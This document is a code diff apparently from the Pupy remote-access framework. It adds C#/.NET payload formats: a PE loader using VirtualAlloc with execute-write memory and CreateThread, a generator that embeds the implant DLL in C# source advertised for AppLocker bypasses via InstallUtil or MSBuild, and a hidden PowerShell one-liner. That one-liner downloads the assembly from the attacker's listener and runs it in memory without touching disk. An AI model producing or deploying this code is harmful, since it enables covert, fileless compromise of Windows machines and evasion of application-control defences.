using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
|
||||||
|
{
|
||||||
|
BinaryReader reader = new BinaryReader(stream);
|
||||||
|
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
|
||||||
|
|
||||||
|
// Add 4 bytes to the offset
|
||||||
|
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
|
||||||
|
|
||||||
|
UInt32 ntHeadersSignature = reader.ReadUInt32();
|
||||||
|
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
|
||||||
|
if (this.Is32BitHeader)
|
||||||
|
{
|
||||||
|
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
|
||||||
|
}
|
||||||
|
|
||||||
|
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
|
||||||
|
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
|
||||||
|
{
|
||||||
|
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
rawbytes = System.IO.File.ReadAllBytes(filePath);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public PELoader(byte[] fileBytes)
|
||||||
|
{
|
||||||
|
// Read in the DLL or EXE and get the timestamp
|
||||||
|
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
|
||||||
|
{
|
||||||
|
BinaryReader reader = new BinaryReader(stream);
|
||||||
|
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
|
||||||
|
|
||||||
|
// Add 4 bytes to the offset
|
||||||
|
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
|
||||||
|
|
||||||
|
UInt32 ntHeadersSignature = reader.ReadUInt32();
|
||||||
|
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
|
||||||
|
if (this.Is32BitHeader)
|
||||||
|
{
|
||||||
|
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
|
||||||
|
}
|
||||||
|
|
||||||
|
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
|
||||||
|
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
|
||||||
|
{
|
||||||
|
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
rawbytes = fileBytes;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static T FromBinaryReader<T>(BinaryReader reader)
|
||||||
|
{
|
||||||
|
// Read in a byte array
|
||||||
|
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
|
||||||
|
|
||||||
|
// Pin the managed memory while, copy it out the data, then unpin it
|
||||||
|
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
|
||||||
|
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
|
||||||
|
handle.Free();
|
||||||
|
|
||||||
|
return theStructure;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public bool Is32BitHeader
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
|
||||||
|
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public IMAGE_FILE_HEADER FileHeader
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return fileHeader;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the optional header
|
||||||
|
/// </summary>
|
||||||
|
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return optionalHeader32;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the optional header
|
||||||
|
/// </summary>
|
||||||
|
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return optionalHeader64;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return imageSectionHeaders;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] RawBytes
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return rawbytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}//End Class
|
||||||
|
|
||||||
|
|
||||||
|
unsafe class NativeDeclarations
|
||||||
|
{
|
||||||
|
|
||||||
|
public static uint MEM_COMMIT = 0x1000;
|
||||||
|
public static uint MEM_RESERVE = 0x2000;
|
||||||
|
public static uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||||
|
public static uint PAGE_READWRITE = 0x04;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public unsafe struct IMAGE_BASE_RELOCATION
|
||||||
|
{
|
||||||
|
public uint VirtualAdress;
|
||||||
|
public uint SizeOfBlock;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||||
|
public static extern IntPtr LoadLibrary(string lpFileName);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||||
|
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
public static extern IntPtr CreateThread(
|
||||||
|
|
||||||
|
IntPtr lpThreadAttributes,
|
||||||
|
uint dwStackSize,
|
||||||
|
IntPtr lpStartAddress,
|
||||||
|
IntPtr param,
|
||||||
|
uint dwCreationFlags,
|
||||||
|
IntPtr lpThreadId
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("kernel32")]
|
||||||
|
public static extern UInt32 WaitForSingleObject(
|
||||||
|
|
||||||
|
IntPtr hHandle,
|
||||||
|
UInt32 dwMilliseconds
|
||||||
|
);
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public unsafe struct IMAGE_IMPORT_DESCRIPTOR
|
||||||
|
{
|
||||||
|
public uint OriginalFirstThunk;
|
||||||
|
public uint TimeDateStamp;
|
||||||
|
public uint ForwarderChain;
|
||||||
|
public uint Name;
|
||||||
|
public uint FirstThunk;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
|
@ -30,7 +30,7 @@ from io import BytesIO
|
||||||
|
|
||||||
from pupylib.utils.network import get_listener_ip, get_listener_port
|
from pupylib.utils.network import get_listener_ip, get_listener_port
|
||||||
from pupylib.utils.jarsigner import jarsigner
|
from pupylib.utils.jarsigner import jarsigner
|
||||||
from pupylib.payloads import dependencies
|
from pupylib.payloads import dependencies, dotnet
|
||||||
from pupylib.payloads.py_oneliner import serve_payload, pack_py_payload, getLinuxImportedModules
|
from pupylib.payloads.py_oneliner import serve_payload, pack_py_payload, getLinuxImportedModules
|
||||||
from pupylib.payloads.rubber_ducky import rubber_ducky
|
from pupylib.payloads.rubber_ducky import rubber_ducky
|
||||||
from pupylib.utils.obfuscate import compress_encode_obfs
|
from pupylib.utils.obfuscate import compress_encode_obfs
|
||||||
|
@ -488,7 +488,7 @@ class InvalidOptions(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
PAYLOAD_FORMATS = [
|
PAYLOAD_FORMATS = [
|
||||||
'client', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky'
|
'client', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky', 'csharp', '.NET', '.NET_oneliner'
|
||||||
]
|
]
|
||||||
|
|
||||||
CLIENT_OS = ['android', 'windows', 'linux', 'solaris']
|
CLIENT_OS = ['android', 'windows', 'linux', 'solaris']
|
||||||
|
@ -550,7 +550,10 @@ def pupygen(args, config, pupsrv, display):
|
||||||
'py': 'fully packaged python file',
|
'py': 'fully packaged python file',
|
||||||
'py_oneliner': 'same as \'py\' format but served over http',
|
'py_oneliner': 'same as \'py\' format but served over http',
|
||||||
'ps1': 'generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process',
|
'ps1': 'generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process',
|
||||||
'ps1_oneliner': 'load pupy remotely from memory with a single command line using powershell'
|
'ps1_oneliner': 'load pupy remotely from memory with a single command line using powershell',
|
||||||
|
'csharp' : 'generate C# source that executes pupy. This source can be used to craft various applocker bypasses (ex: InstallUtil, MSBuild, ...)',
|
||||||
|
'.NET' : 'compile a C# payload into a windows executable.',
|
||||||
|
'.NET_oneliner' : 'Loads .NET assembly from memory via powershell'
|
||||||
}.iteritems()], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f <format>)', 'yellow')),
|
}.iteritems()], ['FORMAT', 'DESCRIPTION'], Color('Available formats (usage: -f <format>)', 'yellow')),
|
||||||
|
|
||||||
Table([{
|
Table([{
|
||||||
|
@ -731,6 +734,25 @@ def pupygen(args, config, pupsrv, display):
|
||||||
|
|
||||||
raise NoOutput()
|
raise NoOutput()
|
||||||
|
|
||||||
|
elif args.format == 'csharp':
|
||||||
|
if args.os!="windows" or args.arch!="x64":
|
||||||
|
raise ValueError("This format only support windows x64. x86 payloads are not implemented")
|
||||||
|
dn=dotnet.DotNetPayload(display, conf, outpath=outpath, output_dir=args.output_dir)
|
||||||
|
outpath = dn.gen_source()
|
||||||
|
elif args.format == '.NET':
|
||||||
|
if args.os!="windows" or args.arch!="x64":
|
||||||
|
raise ValueError("This format only support windows x64. x86 payloads are not implemented")
|
||||||
|
dn=dotnet.DotNetPayload(display, conf, outpath=outpath, output_dir=args.output_dir)
|
||||||
|
outpath = dn.gen_exe()
|
||||||
|
if outpath is None:
|
||||||
|
raise NoOutput()
|
||||||
|
elif args.format == '.NET_oneliner':
|
||||||
|
i = conf["launcher_args"].index("--host")+1
|
||||||
|
link_ip = conf["launcher_args"][i].split(":",1)[0]
|
||||||
|
dotnet.serve_payload(display, pupsrv, conf, link_ip=link_ip)
|
||||||
|
|
||||||
|
raise NoOutput()
|
||||||
|
|
||||||
elif args.format == 'ps1':
|
elif args.format == 'ps1':
|
||||||
outpath = generate_ps1(display, conf, outpath=outpath, output_dir=args.output_dir, both=True)
|
outpath = generate_ps1(display, conf, outpath=outpath, output_dir=args.output_dir, both=True)
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,89 @@
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
#Author: @n1nj4sec
|
||||||
|
#Contributor(s):
|
||||||
|
|
||||||
|
import os, subprocess, tempfile, random, string
|
||||||
|
from pupylib.PupyOutput import Success, Error, Warn, List
|
||||||
|
from pupygen import ROOT
|
||||||
|
import pupygen
|
||||||
|
|
||||||
|
|
||||||
|
class DotNetPayload():
|
||||||
|
def __init__(self, display, conf, outpath=None, output_dir=None):
|
||||||
|
self.display=display
|
||||||
|
self.conf=conf
|
||||||
|
self.outpath=outpath
|
||||||
|
self.output_dir=output_dir
|
||||||
|
|
||||||
|
def gen_source(self, random_path=False):
|
||||||
|
with open(os.path.join(ROOT, "payload_templates", "PupyLoaderTemplate.cs"), 'rb') as f:
|
||||||
|
template_source=f.read()
|
||||||
|
rawdll = pupygen.generate_binary_from_template(self.display, self.conf, 'windows', arch='x64', shared=True)[0]
|
||||||
|
self.display(Success("packing pupy into C# source ..."))
|
||||||
|
encoded = '{' + ','.join([str(ord(c)) for c in rawdll]) + '}'
|
||||||
|
content=template_source.replace('<PUPYx64_BYTES>', encoded)
|
||||||
|
if not self.outpath or random_path:
|
||||||
|
outfile = tempfile.NamedTemporaryFile(
|
||||||
|
dir=self.output_dir or '.',
|
||||||
|
prefix='pupy_',
|
||||||
|
suffix='.cs',
|
||||||
|
delete=False
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
outfile = self.outfile
|
||||||
|
outfile.write(content)
|
||||||
|
outfile.close()
|
||||||
|
return outfile.name
|
||||||
|
|
||||||
|
def gen_exe(self):
|
||||||
|
sourcepath=self.gen_source(random_path=True)
|
||||||
|
if not self.outpath:
|
||||||
|
outfile = os.path.join(self.output_dir or '.', "pupy_"+''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(8))+".exe")
|
||||||
|
else:
|
||||||
|
outfile = self.outfile
|
||||||
|
try:
|
||||||
|
command=["mcs"]
|
||||||
|
if not self.conf.get('debug', False):
|
||||||
|
command.append("-target:winexe")
|
||||||
|
command += ["-unsafe", "-OUT:"+outfile, sourcepath]
|
||||||
|
self.display(Success("compiling via mono command: {}".format(' '.join(command))))
|
||||||
|
try:
|
||||||
|
self.display(subprocess.check_output(command))
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
self.display(Error("Mono compilation failed: {}".format(e.output)))
|
||||||
|
return None
|
||||||
|
except OSError:
|
||||||
|
self.display(Error("mcs compiler can't be found ... install mono-mcs package"))
|
||||||
|
return None
|
||||||
|
finally:
|
||||||
|
os.unlink(sourcepath)
|
||||||
|
return outfile
|
||||||
|
|
||||||
|
|
||||||
|
def serve_payload(display, server, conf, link_ip="<your_ip>"):
|
||||||
|
if not server:
|
||||||
|
display(Error('Oneliners only supported from pupysh'))
|
||||||
|
return
|
||||||
|
|
||||||
|
if not server.pupweb:
|
||||||
|
display(Error('Webserver disabled'))
|
||||||
|
return
|
||||||
|
dn=DotNetPayload(display, conf)
|
||||||
|
exe_path=dn.gen_exe()
|
||||||
|
with open(exe_path, 'rb') as r:
|
||||||
|
payload=r.read()
|
||||||
|
os.unlink(exe_path)
|
||||||
|
|
||||||
|
landing_uri = server.pupweb.serve_content(payload, alias='.NET payload')
|
||||||
|
|
||||||
|
display(Warn('Only works with powershell version >= 3'))
|
||||||
|
|
||||||
|
display(List([
|
||||||
|
"powershell -w hidden -c \"[Reflection.Assembly]::Load((new-object net.webclient).DownloadData('http://{}:{}{}')).GetTypes()[0].GetMethods()[0].Invoke($null,@())\"".format(
|
||||||
|
link_ip, server.pupweb.port, landing_uri),
|
||||||
|
], caption=Success(
|
||||||
|
'Copy/paste this one-line loader to deploy pupy without writing on the disk')))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue